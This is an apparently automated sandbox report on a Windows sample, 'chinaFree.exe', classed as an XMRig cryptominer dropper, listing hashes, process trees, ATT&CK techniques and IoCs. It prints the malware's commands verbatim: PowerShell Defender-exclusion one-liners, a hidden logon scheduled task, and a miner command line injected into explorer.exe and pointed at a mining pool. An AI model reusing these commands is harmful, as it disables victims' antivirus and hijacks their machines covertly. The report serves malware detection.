xmrig | d60a671caff1789b5653cf14581b204d6f73025ba9f104e61cb253470b6dde5e

Analysis

user interaction
yes
max time kernel
65s
max time network
68s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
chinaFree.exe
Size 4.0MB
Sample260809-tktlfsbc55
SHA256 d60a671caff1789b5653cf14581b204d6f73025ba9f104e61cb253470b6dde5e
MD5 fa3610f643e9e0f1e7aa839724f62569
SHA1 f9afe7989e30f7fbd4252dcec3e7de35f6fa6faf
SHA512 d4a11b246e167486f3548443335ca95d89c50e27cd2eefa7292fd1a4a59f6c5e3cafb5637d5b13973ae32417a9e4d3715c3971a45c2cf58cc0563d7964824d88
SSDEEP 98304:2lFuQgflNbLamS8BoTAi2KOldK/VPjO57HuBIb:2lF9gfXLaAeAi2KOld5bx
TLSH
T174160109B792D9B5C8302B7C20286313813E1E434F656AEF5E967B5D4E78AF1C5B3632
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/5900-79-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1408	powershell.exe
3020	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3856	n9jvk0x1.exe
5144	~379B05F1DE754BEAD722BC73EC158C3D.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
5	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4488	cmd.exe
6076	cmd.exe
2784	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chinaFree.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	n9jvk0x1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
4968	conhost.exe
1408	powershell.exe
1408	powershell.exe
1408	powershell.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3020	powershell.exe
3020	powershell.exe
3020	powershell.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
3856	n9jvk0x1.exe
4968	conhost.exe
4968	conhost.exe
4968	conhost.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	4968	conhost.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeIncreaseQuotaPrivilege	1408	powershell.exe
Token: SeSecurityPrivilege	1408	powershell.exe
Token: SeTakeOwnershipPrivilege	1408	powershell.exe
Token: SeLoadDriverPrivilege	1408	powershell.exe
Token: SeSystemProfilePrivilege	1408	powershell.exe
Token: SeSystemtimePrivilege	1408	powershell.exe
Token: SeProfSingleProcessPrivilege	1408	powershell.exe
Token: SeIncBasePriorityPrivilege	1408	powershell.exe
Token: SeCreatePagefilePrivilege	1408	powershell.exe
Token: SeBackupPrivilege	1408	powershell.exe
Token: SeRestorePrivilege	1408	powershell.exe
Token: SeShutdownPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeSystemEnvironmentPrivilege	1408	powershell.exe
Token: SeRemoteShutdownPrivilege	1408	powershell.exe
Token: SeUndockPrivilege	1408	powershell.exe
Token: SeManageVolumePrivilege	1408	powershell.exe
Token: 33	1408	powershell.exe
Token: 34	1408	powershell.exe
Token: 35	1408	powershell.exe
Token: 36	1408	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeIncreaseQuotaPrivilege	3020	powershell.exe
Token: SeSecurityPrivilege	3020	powershell.exe
Token: SeTakeOwnershipPrivilege	3020	powershell.exe
Token: SeLoadDriverPrivilege	3020	powershell.exe
Token: SeSystemProfilePrivilege	3020	powershell.exe
Token: SeSystemtimePrivilege	3020	powershell.exe
Token: SeProfSingleProcessPrivilege	3020	powershell.exe
Token: SeIncBasePriorityPrivilege	3020	powershell.exe
Token: SeCreatePagefilePrivilege	3020	powershell.exe
Token: SeBackupPrivilege	3020	powershell.exe
Token: SeRestorePrivilege	3020	powershell.exe
Token: SeShutdownPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeSystemEnvironmentPrivilege	3020	powershell.exe
Token: SeRemoteShutdownPrivilege	3020	powershell.exe
Token: SeUndockPrivilege	3020	powershell.exe
Token: SeManageVolumePrivilege	3020	powershell.exe
Token: 33	3020	powershell.exe
Token: 34	3020	powershell.exe
Token: 35	3020	powershell.exe
Token: 36	3020	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5976 wrote to memory of 3856	5976	chinaFree.exe	89
PID 5976 wrote to memory of 4488	5976	chinaFree.exe	90
PID 3856 wrote to memory of 5144	3856	n9jvk0x1.exe	94
PID 5144 wrote to memory of 4968	5144	~379B05F1DE754BEAD722BC73EC158C3D.exe	95
PID 5144 wrote to memory of 4968	5144	~379B05F1DE754BEAD722BC73EC158C3D.exe	95
PID 4968 wrote to memory of 6076	4968	conhost.exe	96
PID 6076 wrote to memory of 1408	6076	cmd.exe	98
PID 4968 wrote to memory of 2784	4968	conhost.exe	100
PID 2784 wrote to memory of 4144	2784	cmd.exe	102
PID 6076 wrote to memory of 3020	6076	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\chinaFree.exe
"C:\Users\Admin\AppData\Local\Temp\chinaFree.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5976
- C:\Users\Admin\AppData\Local\Temp\n9jvk0x1.exe
  "C:\Users\Admin\AppData\Local\Temp\n9jvk0x1.exe" /i
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Users\Admin\AppData\Local\Temp\~379B05F1DE754BEAD722BC73EC158C3D.exe
    "C:\Users\Admin\AppData\Local\Temp\~379B05F1DE754BEAD722BC73EC158C3D.exe" C:\Users\Admin\AppData\Local\Temp
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5144
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\~379B05F1DE754BEAD722BC73EC158C3D.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4968
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6076
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3020
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2784
      - C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4144
    - - C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:2148
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:7777 --user=49D8CjVEn5kNwrqx8H4uqdX1gpMHFGxoYDjCYry7MdEBX18rKbMEUfDPiuLBpt3ArXNotu1iLqTjpeRMVYa78L3AL5gpWzV --pass={COMPUTERNAME} --cpu-max-threads-hint=40 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6N3th7lWWQ0QCbNMgcLBQvf+DRQCIx3o/xeCMcWaAWHb" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
        5⤵
        
        PID:5900
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\del_.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d125d285a0d13063efd8897655394acdc0cb881e86fdc2f23a49df200e062aea
MD5 af52d4f9c8202d735652c75e144d3ddb
SHA1 e0e8b64d3037ecb0b8dddcf5d4d70716f3412b23
SHA512 04376b9a86c0efe7fc19a2245e49fc53049766ad28a946d5af9053f54060324d3e7e9cf21afffc77209de8e1a39b127ff5a36d68bdb9a3d406f6abe0ce9624cb
TLSH
T184216837B3DC8610C89A413A10CDAC1036B6C7DB80DECFAB7B85E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gt01e4yi.kwg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gt01e4yi.kwg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

del_.bat

Path C:\Users\Admin\AppData\Local\Temp\del_.bat
Size 183B
SHA256 9624180a0c7c125d3e896e7d68e600dcec3ff609124a1ef9b483103675352112
MD5 500396b4310f0ebed9720106f5053212
SHA1 7b0d81cf24f915c4176486610ed158a56a753b69
SHA512 fa527f0aeaebd3ee562dfef94c4cb7c323dc6a31ecd49eac7300a09c98fbe0b1bc0140aeffb169475857dc8263ae6e9df9ae3ba8aeb98327479dd43c6a0ef527
TLSH
T13CC0120B108B4E96240058A705FB219AA1A505BA1ACC7BD2865540ED128301C97C6686
MD5 SHA1 SHA512 TLSH

Submit Download

n9jvk0x1.exe

Path C:\Users\Admin\AppData\Local\Temp\n9jvk0x1.exe
Size 21.0MB
SHA256 cd1d83127c63275e2be57b589b0a84a85e36a1ed02edd5dadb2e1d263cd6933c
MD5 e07f360f7b3fc5b5bfcaa06747cfd2b6
SHA1 767e130cab517750942b3ac9cab8db8b4b468e73
SHA512 9c85975b17844c684d5ee756e08eb35032a872371f649033784128f8d11588997047a6f5e95742133544d87c95c4e895925232e273cb9443bf8992c042396104
SSDEEP 393216:2lFyfLPHiRE5bxbDMTNSG/lVrl3KExL3JzATzC8WfeIRVlFvlQCcv6QaAu5SB:AUbxbyhpKOxk6lFiPvQM
TLSH
T12F273305B792DCA5C8305B7C20286313813E1E434F55AAEF5E967B594E78AF1CAB3633
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~379B05F1DE754BEAD722BC73EC158C3D.exe

Path C:\Users\Admin\AppData\Local\Temp\~379B05F1DE754BEAD722BC73EC158C3D.exe
Size 2.1MB
SHA256 db02c2e4678ed7c913f647b90815ca9f7e8c88e0f2dc6d76ed6115812d03c4a8
MD5 76b19befa64f9f67bb963d2164d2d306
SHA1 78b2eb1fa8925e7d981ba6868958e233447085f0
SHA512 f4e427fb63240edb70158fed9e0bd8af8cf980821336ba22f5f12fa3bc01320efa13c51ca1749e32b10450a3d8fc103f7ea918e62f21ea7f324f0b5c606aea14
SSDEEP 49152:pUx1s8BiJuuNAhE2NENOMKLBjK/Vu6jeOG57HuB9iXL:pmS8BoTAi2KOldK/VPjO57HuBIb
TLSH
T11BA533C7CA38B8BCE5BA5DB9E9E22073D4702CC09449924E8D57BB213C8ED959D513E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sihost64.exe

Path C:\Windows\System32\Microsoft\Libs\sihost64.exe
Size 32KB
SHA256 578577084ca056f22b8279cdb8ee209c9ef0904855d956a53773b771a5f1f335
MD5 89af91179975f51f3f9b2120d2249d7c
SHA1 b45917d3ee765f6dcf034d594a754522422de5d5
SHA512 e855933814ab8a205ce8946894e6d6c7d0d30d4f46f791b99a2c4b5d2e17537c9afd832573c7d4d7b731794c1903dc8cd07e834c03affd6bf1581a9ff3fcdfd7
SSDEEP 768:g/Y/U/kXSWnaUAxYOgaq4LQJJVGFy00JbUJnmTBAK:nU/kXSWroYHa7kJJ8n2BF
TLSH
T1A5E2AE7BED5840A8E77F11BB1D96488D6870F2950251B79B82EE1FF01F60D3A1B683C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1408-62-0x00000250ED690000-0x00000250ED69A000-memory.dmp

Download

memory/1408-60-0x00000250ED670000-0x00000250ED68E000-memory.dmp

Download

memory/1408-61-0x00000250ED8B0000-0x00000250ED962000-memory.dmp

Download

memory/1408-57-0x00000250D5070000-0x00000250D5092000-memory.dmp

Download

memory/4968-54-0x000002D9884D0000-0x000002D9884E2000-memory.dmp

Download

memory/4968-53-0x000002D9A1220000-0x000002D9A1440000-memory.dmp

Download

memory/4968-52-0x000002D9864A0000-0x000002D9866C1000-memory.dmp

Download

memory/5900-79-0x0000000140000000-0x0000000140786000-memory.dmp

Download